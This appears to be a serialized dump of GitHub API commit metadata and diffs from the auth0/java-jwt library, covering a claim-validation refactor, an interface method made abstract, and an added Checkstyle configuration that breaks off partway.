 commands:uau(67352d2e484417d99d1295b91353bfa1502cb566}(sha(67352d2e484417d99d1295b91353bfa1502cb566node_idEC_kwDOAQtL0doAKDY3MzUyZDJlNDg0NDE3ZDk5ZDEyOTViOTEzNTNiZmExNTAyY2I1NjYcommit}(author}(nameArshdeep Singhemailarshtejay@gmail.comdate2022-03-25T15:52:58Zu	committer}(j  Arshdeep Singhj  arshtejay@gmail.comj  2022-03-25T15:52:58Zumessage]Introduce a superclass and pull up methods from sub-classes to resolve unutilized abstractiontree}(j  (fb724395a7ed03702848331ab65044db575bd721url^https://api.github.com/repos/auth0/java-jwt/git/trees/fb724395a7ed03702848331ab65044db575bd721uj  `https://api.github.com/repos/auth0/java-jwt/git/commits/67352d2e484417d99d1295b91353bfa1502cb566
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuuj  \https://api.github.com/repos/auth0/java-jwt/commits/67352d2e484417d99d1295b91353bfa1502cb566html_urlQhttps://github.com/auth0/java-jwt/commit/67352d2e484417d99d1295b91353bfa1502cb566comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/67352d2e484417d99d1295b91353bfa1502cb566/commentsj  }(login
iarshtejayidJaj  MDQ6VXNlcjIzMTc0MzM4
avatar_url4https://avatars.githubusercontent.com/u/23174338?v=4gravatar_idh3j  'https://api.github.com/users/iarshtejayjƜ  https://github.com/iarshtejay
followers_url1https://api.github.com/users/iarshtejay/followers
following_url>https://api.github.com/users/iarshtejay/following{/other_user}	gists_url7https://api.github.com/users/iarshtejay/gists{/gist_id}starred_url>https://api.github.com/users/iarshtejay/starred{/owner}{/repo}subscriptions_url5https://api.github.com/users/iarshtejay/subscriptionsorganizations_url,https://api.github.com/users/iarshtejay/orgs	repos_url-https://api.github.com/users/iarshtejay/repos
events_url8https://api.github.com/users/iarshtejay/events{/privacy}received_events_url7https://api.github.com/users/iarshtejay/received_eventstypeUser
site_adminuj  }(j˜  
iarshtejayj͜  Jaj  MDQ6VXNlcjIzMTc0MzM4jϜ  4https://avatars.githubusercontent.com/u/23174338?v=4jќ  h3j  'https://api.github.com/users/iarshtejayjƜ  https://github.com/iarshtejayjԜ  1https://api.github.com/users/iarshtejay/followersj֜  >https://api.github.com/users/iarshtejay/following{/other_user}j؜  7https://api.github.com/users/iarshtejay/gists{/gist_id}jڜ  >https://api.github.com/users/iarshtejay/starred{/owner}{/repo}jܜ  5https://api.github.com/users/iarshtejay/subscriptionsjޜ  ,https://api.github.com/users/iarshtejay/orgsj  -https://api.github.com/users/iarshtejay/reposj  8https://api.github.com/users/iarshtejay/events{/privacy}j  7https://api.github.com/users/iarshtejay/received_eventsj  Userj  uparents]}(j  (f93cb6efae05e026ec43243a2ecad058a000308bj  \https://api.github.com/repos/auth0/java-jwt/commits/f93cb6efae05e026ec43243a2ecad058a000308bjƜ  Qhttps://github.com/auth0/java-jwt/commit/f93cb6efae05e026ec43243a2ecad058a000308buastats}(totalK	additionsK
	deletionsKufiles](}(j  (d171f39e7cabc9a76fe3cb6660156ca3e074c2d8filename6lib/src/main/java/com/auth0/jwt/ExpectedClaimType.javastatusmodifiedj  Kj  KchangesKblob_urlhttps://github.com/auth0/java-jwt/blob/67352d2e484417d99d1295b91353bfa1502cb566/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FExpectedClaimType.javaraw_urlhttps://github.com/auth0/java-jwt/raw/67352d2e484417d99d1295b91353bfa1502cb566/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FExpectedClaimType.javacontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FExpectedClaimType.java?ref=67352d2e484417d99d1295b91353bfa1502cb566patchX  @@ -60,24 +60,14 @@ public void assertExpectedClaimType(DecodedJWT jwt, Map.Entry<String, Object> en
     }
 }
 
-class PublicClaimsJwtId implements ExpectedClaimType {
-    private void assertValidStringClaim(String claimName, String value, String expectedValue) {
-        if (!expectedValue.equals(value)) {
-            throw new InvalidClaimException(String.format("The Claim '%s' value doesn't match the required one.", claimName));
-        }
-    }
+class PublicClaimsJwtId extends PublicClaimsWithText {
     @Override
     public void assertExpectedClaimType(DecodedJWT jwt, Map.Entry<String, Object> entry, Clock clock) {
         assertValidStringClaim(entry.getKey(), jwt.getId(), (String) entry.getValue());
     }
 }
 
-class PublicClaimsSubject implements ExpectedClaimType {
-    private void assertValidStringClaim(String claimName, String value, String expectedValue) {
-        if (!expectedValue.equals(value)) {
-            throw new InvalidClaimException(String.format("The Claim '%s' value doesn't match the required one.", claimName));
-        }
-    }
+class PublicClaimsSubject extends PublicClaimsWithText {
 
     @Override
     public void assertExpectedClaimType(DecodedJWT jwt, Map.Entry<String, Object> entry, Clock clock) {u}(j  (f27f64a6e14570fed1355e4f097d7abe3f022868j  9lib/src/main/java/com/auth0/jwt/PublicClaimsWithText.javaj
  addedj  Kj  K j  Kj
  https://github.com/auth0/java-jwt/blob/67352d2e484417d99d1295b91353bfa1502cb566/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FPublicClaimsWithText.javaj  https://github.com/auth0/java-jwt/raw/67352d2e484417d99d1295b91353bfa1502cb566/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FPublicClaimsWithText.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FPublicClaimsWithText.java?ref=67352d2e484417d99d1295b91353bfa1502cb566j  X  @@ -0,0 +1,11 @@
+package com.auth0.jwt;
+
+import com.auth0.jwt.exceptions.InvalidClaimException;
+
+public abstract class PublicClaimsWithText implements ExpectedClaimType {
+    protected void assertValidStringClaim(String claimName, String value, String expectedValue) {
+        if (!expectedValue.equals(value)) {
+            throw new InvalidClaimException(String.format("The Claim '%s' value doesn't match the required one.", claimName));
+        }
+    }
+}ueu(0e119680371b914598502885fedb11e11dd711b3}(sha(0e119680371b914598502885fedb11e11dd711b3node_idEC_kwDOAQtL0doAKDBlMTE5NjgwMzcxYjkxNDU5ODUwMjg4NWZlZGIxMWUxMWRkNzExYjMcommit}(author}(name
Poovamraj T Temailpoovamraj@gmail.comdate2022-04-11T18:19:40Zu	committer}(j'  
Poovamraj T Tj)  poovamraj@gmail.comj+  2022-04-11T18:20:19Zumessage3Removed default implementation of withAnyOfAudiencetree}(j  (4460fff66d13922a687f9d1f598f8dad2c8138a8url^https://api.github.com/repos/auth0/java-jwt/git/trees/4460fff66d13922a687f9d1f598f8dad2c8138a8uj7  `https://api.github.com/repos/auth0/java-jwt/git/commits/0e119680371b914598502885fedb11e11dd711b3
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuuj7  \https://api.github.com/repos/auth0/java-jwt/commits/0e119680371b914598502885fedb11e11dd711b3html_urlQhttps://github.com/auth0/java-jwt/commit/0e119680371b914598502885fedb11e11dd711b3comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/0e119680371b914598502885fedb11e11dd711b3/commentsj%  }(login	poovamrajidJ j!  MDQ6VXNlcjE1OTEwNDI1
avatar_url4https://avatars.githubusercontent.com/u/15910425?v=4gravatar_idh3j7  &https://api.github.com/users/poovamrajjC  https://github.com/poovamraj
followers_url0https://api.github.com/users/poovamraj/followers
following_url=https://api.github.com/users/poovamraj/following{/other_user}	gists_url6https://api.github.com/users/poovamraj/gists{/gist_id}starred_url=https://api.github.com/users/poovamraj/starred{/owner}{/repo}subscriptions_url4https://api.github.com/users/poovamraj/subscriptionsorganizations_url+https://api.github.com/users/poovamraj/orgs	repos_url,https://api.github.com/users/poovamraj/repos
events_url7https://api.github.com/users/poovamraj/events{/privacy}received_events_url6https://api.github.com/users/poovamraj/received_eventstypeUser
site_adminuj-  }(jH  	poovamrajjJ  J j!  MDQ6VXNlcjE1OTEwNDI1jL  4https://avatars.githubusercontent.com/u/15910425?v=4jN  h3j7  &https://api.github.com/users/poovamrajjC  https://github.com/poovamrajjQ  0https://api.github.com/users/poovamraj/followersjS  =https://api.github.com/users/poovamraj/following{/other_user}jU  6https://api.github.com/users/poovamraj/gists{/gist_id}jW  =https://api.github.com/users/poovamraj/starred{/owner}{/repo}jY  4https://api.github.com/users/poovamraj/subscriptionsj[  +https://api.github.com/users/poovamraj/orgsj]  ,https://api.github.com/users/poovamraj/reposj_  7https://api.github.com/users/poovamraj/events{/privacy}ja  6https://api.github.com/users/poovamraj/received_eventsjc  Userje  uparents]}(j  (8ad09b854815bcb3fb34e7b2acdbc4e59112899aj7  \https://api.github.com/repos/auth0/java-jwt/commits/8ad09b854815bcb3fb34e7b2acdbc4e59112899ajC  Qhttps://github.com/auth0/java-jwt/commit/8ad09b854815bcb3fb34e7b2acdbc4e59112899auastats}(totalK	additionsK	deletionsK
ufiles](}(j  (dab3a20f513b82781b5be53b49627a0f669487b9filename<lib/src/main/java/com/auth0/jwt/interfaces/Verification.javastatusmodifiedj  Kj  K
changesKblob_urlhttps://github.com/auth0/java-jwt/blob/0e119680371b914598502885fedb11e11dd711b3/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FVerification.javaraw_urlhttps://github.com/auth0/java-jwt/raw/0e119680371b914598502885fedb11e11dd711b3/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FVerification.javacontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FVerification.java?ref=0e119680371b914598502885fedb11e11dd711b3patchXi  @@ -55,19 +55,10 @@ default Verification withIssuer(String issuer) {
      * If this is used in conjunction with {@link #withAudience(String...)}, whichever one is configured last will
      * determine the audience validation behavior.
      *
-     * Note: This method was added after the interface was released.
-     * It is defined as a default method for compatibility reasons.
-     * From version 4.0 on, the method will be abstract and all implementations of this interface
-     * will have to provide their own implementation.
-     *
-     * The default implementation throws an {@linkplain UnsupportedOperationException}.
-     *
      * @param audience the required Audience value for which the "aud" claim must contain at least one value.
      * @return this same Verification instance.
      */
-    default Verification withAnyOfAudience(String... audience) {
-        throw new UnsupportedOperationException("withAnyOfAudience");
-    }
+    Verification withAnyOfAudience(String... audience);
     
     /**
      * Define the default window in seconds in which the Not Before, Issued At and Expires At Claimsu}(j  (bdbd688a3182addf0f121f8a56759f768ffa8856j  @lib/src/test/java/com/auth0/jwt/interfaces/VerificationTest.javaj  modifiedj  Kj  K j  Kj  https://github.com/auth0/java-jwt/blob/0e119680371b914598502885fedb11e11dd711b3/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FVerificationTest.javaj  https://github.com/auth0/java-jwt/raw/0e119680371b914598502885fedb11e11dd711b3/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FVerificationTest.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FVerificationTest.java?ref=0e119680371b914598502885fedb11e11dd711b3j  Xu  @@ -74,6 +74,11 @@ public Verification withAudience(String... audience) {
             return null;
         }
 
+        @Override
+        public Verification withAnyOfAudience(String... audience) {
+            return null;
+        }
+
         @Override
         public Verification acceptLeeway(long leeway) throws IllegalArgumentException {
             return null;ueu(2aa4b95e3aab31ec60948dac653e342102f9ce9a}(sha(2aa4b95e3aab31ec60948dac653e342102f9ce9anode_idEC_kwDOAQtL0doAKDJhYTRiOTVlM2FhYjMxZWM2MDk0OGRhYzY1M2UzNDIxMDJmOWNlOWEcommit}(author}(name
Poovamraj T Temailpoovamraj@gmail.comdate2022-03-18T14:10:52Zu	committer}(j  
Poovamraj T Tj  poovamraj@gmail.comj  2022-03-18T14:10:52ZumessageAdd lint checkstree}(j  (369df09449939375ce9b260c53455f07207b815burl^https://api.github.com/repos/auth0/java-jwt/git/trees/369df09449939375ce9b260c53455f07207b815buj  `https://api.github.com/repos/auth0/java-jwt/git/commits/2aa4b95e3aab31ec60948dac653e342102f9ce9a
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuuj  \https://api.github.com/repos/auth0/java-jwt/commits/2aa4b95e3aab31ec60948dac653e342102f9ce9ahtml_urlQhttps://github.com/auth0/java-jwt/commit/2aa4b95e3aab31ec60948dac653e342102f9ce9acomments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/2aa4b95e3aab31ec60948dac653e342102f9ce9a/commentsj  }(login	poovamrajidJ j  MDQ6VXNlcjE1OTEwNDI1
avatar_url4https://avatars.githubusercontent.com/u/15910425?v=4gravatar_idh3j  &https://api.github.com/users/poovamrajj  https://github.com/poovamraj
followers_url0https://api.github.com/users/poovamraj/followers
following_url=https://api.github.com/users/poovamraj/following{/other_user}	gists_url6https://api.github.com/users/poovamraj/gists{/gist_id}starred_url=https://api.github.com/users/poovamraj/starred{/owner}{/repo}subscriptions_url4https://api.github.com/users/poovamraj/subscriptionsorganizations_url+https://api.github.com/users/poovamraj/orgs	repos_url,https://api.github.com/users/poovamraj/repos
events_url7https://api.github.com/users/poovamraj/events{/privacy}received_events_url6https://api.github.com/users/poovamraj/received_eventstypeUser
site_adminuj  }(jŝ  	poovamrajjǝ  J j  MDQ6VXNlcjE1OTEwNDI1jɝ  4https://avatars.githubusercontent.com/u/15910425?v=4j˝  h3j  &https://api.github.com/users/poovamrajj  https://github.com/poovamrajjΝ  0https://api.github.com/users/poovamraj/followersjН  =https://api.github.com/users/poovamraj/following{/other_user}jҝ  6https://api.github.com/users/poovamraj/gists{/gist_id}jԝ  =https://api.github.com/users/poovamraj/starred{/owner}{/repo}j֝  4https://api.github.com/users/poovamraj/subscriptionsj؝  +https://api.github.com/users/poovamraj/orgsjڝ  ,https://api.github.com/users/poovamraj/reposjܝ  7https://api.github.com/users/poovamraj/events{/privacy}jޝ  6https://api.github.com/users/poovamraj/received_eventsj  Userj  uparents]}(j  (499f481a303cea073a95b0b57a920aa71d344993j  \https://api.github.com/repos/auth0/java-jwt/commits/499f481a303cea073a95b0b57a920aa71d344993j  Qhttps://github.com/auth0/java-jwt/commit/499f481a303cea073a95b0b57a920aa71d344993uastats}(totalMr	additionsMr	deletionsK ufiles](}(j  (c09c76a3a8d5c3198a6abc84b0373effd8ca91c3filename config/checkstyle/checkstyle.xmlstatusaddedj  Mmj  K changesMmblob_urlthttps://github.com/auth0/java-jwt/blob/2aa4b95e3aab31ec60948dac653e342102f9ce9a/config%2Fcheckstyle%2Fcheckstyle.xmlraw_urlshttps://github.com/auth0/java-jwt/raw/2aa4b95e3aab31ec60948dac653e342102f9ce9a/config%2Fcheckstyle%2Fcheckstyle.xmlcontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/config%2Fcheckstyle%2Fcheckstyle.xml?ref=2aa4b95e3aab31ec60948dac653e342102f9ce9apatchXL  @@ -0,0 +1,365 @@
+<?xml version="1.0"?>
+<!DOCTYPE module PUBLIC
+        "-//Checkstyle//DTD Checkstyle Configuration 1.3//EN"
+        "https://checkstyle.org/dtds/configuration_1_3.dtd">
+
+<!--
+    Checkstyle configuration that checks the Google coding conventions from Google Java Style
+    that can be found at https://google.github.io/styleguide/javaguide.html
+
+    Checkstyle is very configurable. Be sure to read the documentation at
+    http://checkstyle.org (or in your downloaded distribution).
+
+    To completely disable a check, just comment it out or delete it from the file.
+    To suppress certain violations please review suppression filters.
+
+    Authors: Max Vetrenko, Ruslan Diachenko, Roman Ivanov.
+ -->
+
+<module name = "Checker">
+    <property name="charset" value="UTF-8"/>
+
+    <property name="severity" value="warning"/>
+
+    <property name="fileExtensions" value="java, properties, xml"/>
+    <!-- Excludes all 'module-info.java' files              -->
+    <!-- See https://checkstyle.org/config_filefilters.html -->
+    <module name="BeforeExecutionExclusionFileFilter">
+        <property name="fileNamePattern" value="module\-info\.java$"/>
+    </module>
+    <!-- https://checkstyle.org/config_filters.html#SuppressionFilter -->
+    <module name="SuppressionFilter">
+        <property name="file" value="${org.checkstyle.google.suppressionfilter.config}"
+                  default="checkstyle-suppressions.xml" />
+        <property name="optional" value="true"/>
+    </module>
+
+    <!-- Checks for whitespace                               -->
+    <!-- See http://checkstyle.org/config_whitespace.html -->
+    <module name="FileTabCharacter">
+        <property name="eachLine" value="true"/>
+    </module>
+
+    <module name="LineLength">
+        <property name="fileExtensions" value="java"/>
+        <property name="max" value="100"/>
+        <property name="ignorePattern" value="^package.*|^import.*|a href|href|http://|https://|ftp://"/>
+    </module>
+
+    <module name="TreeWalker">
+        <module name="OuterTypeFilename"/>
+        <module name="IllegalTokenText">
+            <property name="tokens" value="STRING_LITERAL, CHAR_LITERAL"/>
+            <property name="format"
+                      value="\\u00(09|0(a|A)|0(c|C)|0(d|D)|22|27|5(C|c))|\\(0(10|11|12|14|15|42|47)|134)"/>
+            <property name="message"
+                      value="Consider using special escape sequence instead of octal value or Unicode escaped value."/>
+        </module>
+        <module name="AvoidEscapedUnicodeCharacters">
+            <property name="allowEscapesForControlCharacters" value="true"/>
+            <property name="allowByTailComment" value="true"/>
+            <property name="allowNonPrintableEscapes" value="true"/>
+        </module>
+        <module name="AvoidStarImport"/>
+        <module name="OneTopLevelClass"/>
+        <module name="NoLineWrap">
+            <property name="tokens" value="PACKAGE_DEF, IMPORT, STATIC_IMPORT"/>
+        </module>
+        <module name="EmptyBlock">
+            <property name="option" value="TEXT"/>
+            <property name="tokens"
+                      value="LITERAL_TRY, LITERAL_FINALLY, LITERAL_IF, LITERAL_ELSE, LITERAL_SWITCH"/>
+        </module>
+        <module name="NeedBraces">
+            <property name="tokens"
+                      value="LITERAL_DO, LITERAL_ELSE, LITERAL_FOR, LITERAL_IF, LITERAL_WHILE"/>
+        </module>
+        <module name="LeftCurly">
+            <property name="tokens"
+                      value="ANNOTATION_DEF, CLASS_DEF, CTOR_DEF, ENUM_CONSTANT_DEF, ENUM_DEF,
+                    INTERFACE_DEF, LAMBDA, LITERAL_CASE, LITERAL_CATCH, LITERAL_DEFAULT,
+                    LITERAL_DO, LITERAL_ELSE, LITERAL_FINALLY, LITERAL_FOR, LITERAL_IF,
+                    LITERAL_SWITCH, LITERAL_SYNCHRONIZED, LITERAL_TRY, LITERAL_WHILE, METHOD_DEF,
+                    OBJBLOCK, STATIC_INIT, RECORD_DEF, COMPACT_CTOR_DEF"/>
+        </module>
+        <module name="RightCurly">
+            <property name="id" value="RightCurlySame"/>
+            <property name="tokens"
+                      value="LITERAL_TRY, LITERAL_CATCH, LITERAL_FINALLY, LITERAL_IF, LITERAL_ELSE,
+                    LITERAL_DO"/>
+        </module>
+        <module name="RightCurly">
+            <property name="id" value="RightCurlyAlone"/>
+            <property name="option" value="alone"/>
+            <property name="tokens"
+                      value="CLASS_DEF, METHOD_DEF, CTOR_DEF, LITERAL_FOR, LITERAL_WHILE, STATIC_INIT,
+                    INSTANCE_INIT, ANNOTATION_DEF, ENUM_DEF, INTERFACE_DEF, RECORD_DEF,
+                    COMPACT_CTOR_DEF"/>
+        </module>
+        <module name="SuppressionXpathSingleFilter">
+            <!-- suppresion is required till https://github.com/checkstyle/checkstyle/issues/7541 -->
+            <property name="id" value="RightCurlyAlone"/>
+            <property name="query" value="//RCURLY[parent::SLIST[count(./*)=1]
+                                     or preceding-sibling::*[last()][self::LCURLY]]"/>
+        </module>
+        <module name="WhitespaceAfter">
+            <property name="tokens"
+                      value="COMMA, SEMI, TYPECAST, LITERAL_IF, LITERAL_ELSE,
+                    LITERAL_WHILE, LITERAL_DO, LITERAL_FOR, DO_WHILE, ELLIPSIS,
+                    LITERAL_SWITCH, LAMBDA"/>
+        </module>
+        <module name="WhitespaceAround">
+            <property name="allowEmptyConstructors" value="true"/>
+            <property name="allowEmptyLambdas" value="true"/>
+            <property name="allowEmptyMethods" value="true"/>
+            <property name="allowEmptyTypes" value="true"/>
+            <property name="allowEmptyLoops" value="true"/>
+            <property name="ignoreEnhancedForColon" value="false"/>
+            <property name="tokens"
+                      value="ASSIGN, BAND, BAND_ASSIGN, BOR, BOR_ASSIGN, BSR, BSR_ASSIGN, BXOR,
+                    BXOR_ASSIGN, COLON, DIV, DIV_ASSIGN, DO_WHILE, EQUAL, GE, GT, LAMBDA, LAND,
+                    LCURLY, LE, LITERAL_CATCH, LITERAL_DO, LITERAL_ELSE, LITERAL_FINALLY,
+                    LITERAL_FOR, LITERAL_IF, LITERAL_RETURN, LITERAL_SWITCH, LITERAL_SYNCHRONIZED,
+                    LITERAL_TRY, LITERAL_WHILE, LOR, LT, MINUS, MINUS_ASSIGN, MOD, MOD_ASSIGN,
+                    NOT_EQUAL, PLUS, PLUS_ASSIGN, QUESTION, RCURLY, SL, SLIST, SL_ASSIGN, SR,
+                    SR_ASSIGN, STAR, STAR_ASSIGN, LITERAL_ASSERT, TYPE_EXTENSION_AND"/>
+            <message key="ws.notFollowed"
+                     value="WhitespaceAround: ''{0}'' is not followed by whitespace. Empty blocks may only be represented as '{}' when not part of a multi-block statement (4.1.3)"/>
+            <message key="ws.notPreceded"
+                     value="WhitespaceAround: ''{0}'' is not preceded with whitespace."/>
+        </module>
+        <module name="OneStatementPerLine"/>
+        <module name="MultipleVariableDeclarations"/>
+        <module name="ArrayTypeStyle"/>
+        <module name="MissingSwitchDefault"/>
+        <module name="FallThrough"/>
+        <module name="UpperEll"/>
+        <module name="ModifierOrder"/>
+        <module name="EmptyLineSeparator">
+            <property name="tokens"
+                      value="PACKAGE_DEF, IMPORT, STATIC_IMPORT, CLASS_DEF, INTERFACE_DEF, ENUM_DEF,
+                    STATIC_INIT, INSTANCE_INIT, METHOD_DEF, CTOR_DEF, VARIABLE_DEF, RECORD_DEF,
+                    COMPACT_CTOR_DEF"/>
+            <property name="allowNoEmptyLineBetweenFields" value="true"/>
+        </module>
+        <module name="SeparatorWrap">
+            <property name="id" value="SeparatorWrapDot"/>
+            <property name="tokens" value="DOT"/>
+            <property name="option" value="nl"/>
+        </module>
+        <module name="SeparatorWrap">
+            <property name="id" value="SeparatorWrapComma"/>
+            <property name="tokens" value="COMMA"/>
+            <property name="option" value="EOL"/>
+        </module>
+        <module name="SeparatorWrap">
+            <!-- ELLIPSIS is EOL until https://github.com/google/styleguide/issues/259 -->
+            <property name="id" value="SeparatorWrapEllipsis"/>
+            <property name="tokens" value="ELLIPSIS"/>
+            <property name="option" value="EOL"/>
+        </module>
+        <module name="SeparatorWrap">
+            <!-- ARRAY_DECLARATOR is EOL until https://github.com/google/styleguide/issues/258 -->
+            <property name="id" value="SeparatorWrapArrayDeclarator"/>
+            <property name="tokens" value="ARRAY_DECLARATOR"/>
+            <property name="option" value="EOL"/>
+        </module>
+        <module name="SeparatorWrap">
+            <property name="id" value="SeparatorWrapMethodRef"/>
+            <property name="tokens" value="METHOD_REF"/>
+            <property name="option" value="nl"/>
+        </module>
+        <module name="PackageName">
+            <property name="format" value="^[a-z]+(\.[a-z][a-z0-9]*)*$"/>
+            <message key="name.invalidPattern"
+                     value="Package name ''{0}'' must match pattern ''{1}''."/>
+        </module>
+        <module name="TypeName">
+            <property name="tokens" value="CLASS_DEF, INTERFACE_DEF, ENUM_DEF,
+                    ANNOTATION_DEF, RECORD_DEF"/>
+            <message key="name.invalidPattern"
+                     value="Type name ''{0}'' must match pattern ''{1}''."/>
+        </module>
+        <module name="MemberName">
+            <property name="format" value="^[a-z][a-z0-9][a-zA-Z0-9]*$"/>
+            <message key="name.invalidPattern"
+                     value="Member name ''{0}'' must match pattern ''{1}''."/>
+        </module>
+        <module name="ParameterName">
+            <property name="format" value="^[a-z]([a-z0-9][a-zA-Z0-9]*)?$"/>
+            <message key="name.invalidPattern"
+                     value="Parameter name ''{0}'' must match pattern ''{1}''."/>
+        </module>
+        <module name="LambdaParameterName">
+            <property name="format" value="^[a-z]([a-z0-9][a-zA-Z0-9]*)?$"/>
+            <message key="name.invalidPattern"
+                     value="Lambda parameter name ''{0}'' must match pattern ''{1}''."/>
+        </module>
+        <module name="CatchParameterName">
+            <property name="format" value="^[a-z]([a-z0-9][a-zA-Z0-9]*)?$"/>
+            <message key="name.invalidPattern"
+                     value="Catch parameter name ''{0}'' must match pattern ''{1}''."/>
+        </module>
+        <module name="LocalVariableName">
+            <property name="format" value="^[a-z]([a-z0-9][a-zA-Z0-9]*)?$"/>
+            <message key="name.invalidPattern"
+                     value="Local variable name ''{0}'' must match pattern ''{1}''."/>
+        </module>
+        <module name="PatternVariableName">
+            <property name="format" value="^[a-z]([a-z0-9][a-zA-Z0-9]*)?$"/>
+            <message key="name.invalidPattern"
+                     value="Pattern variable name ''{0}'' must match pattern ''{1}''."/>
+        </module>
+        <module name="ClassTypeParameterName">
+            <property name="format" value="(^[A-Z][0-9]?)$|([A-Z][a-zA-Z0-9]*[T]$)"/>
+            <message key="name.invalidPattern"
+                     value="Class type name ''{0}'' must match pattern ''{1}''."/>
+        </module>
+        <module name="RecordComponentName">
+            <property name="format" value="^[a-z]([a-z0-9][a-zA-Z0-9]*)?$"/>
+            <message key="name.invalidPattern"
+                     value="Record component name ''{0}'' must match pattern ''{1}''."/>
+        </module>
+        <module name="RecordTypeParameterName">
+            <property name="format" value="(^[A-Z][0-9]?)$|([A-Z][a-zA-Z0-9]*[T]$)"/>
+            <message key="name.invalidPattern"
+                     value="Record type name ''{0}'' must match pattern ''{1}''."/>
+        </module>
+        <module name="MethodTypeParameterName">
+            <property name="format" value="(^[A-Z][0-9]?)$|([A-Z][a-zA-Z0-9]*[T]$)"/>
+            <message key="name.invalidPattern"
+                     value="Method type name ''{0}'' must match pattern ''{1}''."/>
+        </module>
+        <module name="InterfaceTypeParameterName">
+            <property name="format" value="(^[A-Z][0-9]?)$|([A-Z][a-zA-Z0-9]*[T]$)"/>
+            <message key="name.invalidPattern"
+                     value="Interface type name ''{0}'' must match pattern ''{1}''."/>
+        </module>
+        <module name="NoFinalizer"/>
+        <module name="GenericWhitespace">
+            <message key="ws.followed"
+                     value="GenericWhitespace ''{0}'' is followed by whitespace."/>
+            <message key="ws.preceded"
+                     value="GenericWhitespace ''{0}'' is preceded with whitespace."/>
+            <message key="ws.illegalFollow"
+                     value="GenericWhitespace ''{0}'' should followed by whitespace."/>
+            <message key="ws.notPreceded"
+                     value="GenericWhitespace ''{0}'' is not preceded with whitespace."/>
+        </module>
+        <module name="Indentation">
+            <property name="basicOffset" value="2"/>
+            <property name="braceAdjustment" value="2"/>
+            <property name="caseIndent" value="2"/>
+            <property name="throwsIndent" value="4"/>
+            <property name="lineWrappingIndentation" value="4"/>
+            <property name="arrayInitIndent" value="2"/>
+        </module>
+        <module name="AbbreviationAsWordInName">
+            <property name="ignoreFinal" value="false"/>
+            <property name="allowedAbbreviationLength" value="0"/>
+            <property name="tokens"
+                      value="CLASS_DEF, INTERFACE_DEF, ENUM_DEF, ANNOTATION_DEF, ANNOTATION_FIELD_DEF,
+                    PARAMETER_DEF, VARIABLE_DEF, METHOD_DEF, PATTERN_VARIABLE_DEF, RECORD_DEF,
+                    RECORD_COMPONENT_DEF"/>
+        </module>
+        <module name="NoWhitespaceBeforeCaseDefaultColon"/>
+        <module name="OverloadMethodsDeclarationOrder"/>
+        <module name="VariableDeclarationUsageDistance"/>
+        <module name="CustomImportOrder">
+            <property name="sortImportsInGroupAlphabetically" value="true"/>
+            <property name="separateLineBetweenGroups" value="true"/>
+            <property name="customImportOrderRules" value="STATIC###THIRD_PARTY_PACKAGE"/>
+            <property name="tokens" value="IMPORT, STATIC_IMPORT, PACKAGE_DEF"/>
+        </module>
+        <module name="MethodParamPad">
+            <property name="tokens"
+                      value="CTOR_DEF, LITERAL_NEW, METHOD_CALL, METHOD_DEF,
+                    SUPER_CTOR_CALL, ENUM_CONSTANT_DEF, RECORD_DEF"/>
+        </module>
+        <module name="NoWhitespaceBefore">
+            <property name="tokens"
+                      value="COMMA, SEMI, POST_INC, POST_DEC, DOT,
+                    LABELED_STAT, METHOD_REF"/>
+            <property name="allowLineBreaks" value="true"/>
+        </module>
+        <module name="ParenPad">
+            <property name="tokens"
+                      value="ANNOTATION, ANNOTATION_FIELD_DEF, CTOR_CALL, CTOR_DEF, DOT, ENUM_CONSTANT_DEF,
+                    EXPR, LITERAL_CATCH, LITERAL_DO, LITERAL_FOR, LITERAL_IF, LITERAL_NEW,
+                    LITERAL_SWITCH, LITERAL_SYNCHRONIZED, LITERAL_WHILE, METHOD_CALL,
+                    METHOD_DEF, QUESTION, RESOURCE_SPECIFICATION, SUPER_CTOR_CALL, LAMBDA,
+                    RECORD_DEF"/>
+        </module>
+        <module name="OperatorWrap">
+            <property name="option" value="NL"/>
+            <property name="tokens"
+                      value="BAND, BOR, BSR, BXOR, DIV, EQUAL, GE, GT, LAND, LE, LITERAL_INSTANCEOF, LOR,
+                    LT, MINUS, MOD, NOT_EQUAL, PLUS, QUESTION, SL, SR, STAR, METHOD_REF,
+                    TYPE_EXTENSION_AND "/>
+        </module>
+        <module name="AnnotationLocation">
+            <property name="id" value="AnnotationLocationMostCases"/>
+            <property name="tokens"
+                      value="CLASS_DEF, INTERFACE_DEF, ENUM_DEF, METHOD_DEF, CTOR_DEF,
+                      RECORD_DEF, COMPACT_CTOR_DEF"/>
+        </module>
+        <module name="AnnotationLocation">
+            <property name="id" value="AnnotationLocationVariables"/>
+            <property name="tokens" value="VARIABLE_DEF"/>
+            <property name="allowSamelineMultipleAnnotations" value="true"/>
+        </module>
+        <module name="NonEmptyAtclauseDescription"/>
+        <module name="InvalidJavadocPosition"/>
+        <module name="JavadocTagContinuationIndentation"/>
+        <module name="SummaryJavadoc">
+            <property name="forbiddenSummaryFragments"
